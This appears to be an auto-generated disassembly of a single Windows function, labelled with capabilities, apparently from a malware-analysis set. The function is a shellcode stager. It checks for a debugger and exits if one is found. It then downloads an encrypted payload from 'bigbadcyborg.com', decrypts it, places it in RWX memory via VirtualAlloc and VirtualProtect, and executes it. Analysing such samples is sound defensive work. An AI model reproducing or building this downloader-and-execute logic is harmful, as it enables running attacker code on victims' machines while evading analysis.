Function at 0x40146e
Capabilities:
Allocate or change rwx memory
Create http request
Read data from internet
Receive data

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x1064
call fcn.00402840
sub esp, eax
call fcn.004021f0
call sub.KERNEL32.dll_IsDebuggerPresent
test eax, eax
je 0x4014c7
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Debugger_detected._Exiting.
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov eax, 1
jmp 0x4018f8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.WinINet_Example
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40152c
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str.InternetOpen_failed:__d_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4018f8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.http:__bigbadcyborg.com_encrypted.raw
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401618
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str.InternetOpenUrl_failed:__d_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, 1
jmp 0x4018f8
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_realloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4015f1
mov dword [esp], str.Not_enough_memory__realloc_returned_NULL_
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, 1
jmp 0x4018f8
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
add edx, ecx
mov dword [esp + 8], eax
lea eax, [ebp - 0x1030]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x30]
add dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x1030]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
je 0x40164e
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40159c
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0
mov dword [esp], 0x2710
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.encrypted_data:_n_s_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0x21
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00401ac3
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Decrypted_data:_n_s_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00401900
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4016f6
mov dword [esp], str.Err_0
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4018f8
lea eax, [ebp - 0x1038]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1034]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call fcn.00401b1e
mov dword [esp], str._n_nShellcode_bytes:
call sub.msvcrt.dll_puts
mov dword [ebp - 0x14], 0
jmp 0x40174f
mov edx, dword [ebp - 0x1034]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 4], eax
mov dword [esp], str.x_02x
call sub.msvcrt.dll_printf
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x1038]
cmp dword [ebp - 0x14], eax
jb 0x40172a
mov dword [esp], 0xa
call sub.msvcrt.dll_putchar
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x1038]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4017d0
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str.VirtualAlloc_failed:__d_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x1034]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x4018f8
mov eax, dword [ebp - 0x1038]
lea edx, [ebp - 0x103c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
test eax, eax
jne 0x40183b
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str.VirtualProtect_failed:__d_n
call sub.msvcrt.dll_printf
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov eax, 1
jmp 0x4018f8
mov edx, dword [ebp - 0x1038]
mov eax, dword [ebp - 0x1034]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_memmove
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], str._n_nCopied_Shellcode____x:_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0
jmp 0x40189e
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 4], eax
mov dword [esp], str.x_02x
call sub.msvcrt.dll_printf
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x1038]
cmp dword [ebp - 0x18], eax
jb 0x40187c
mov dword [esp], 0xa
call sub.msvcrt.dll_putchar
call sub.msvcrt.dll_getchar
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call fcn.00401460
call sub.msvcrt.dll_getchar
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret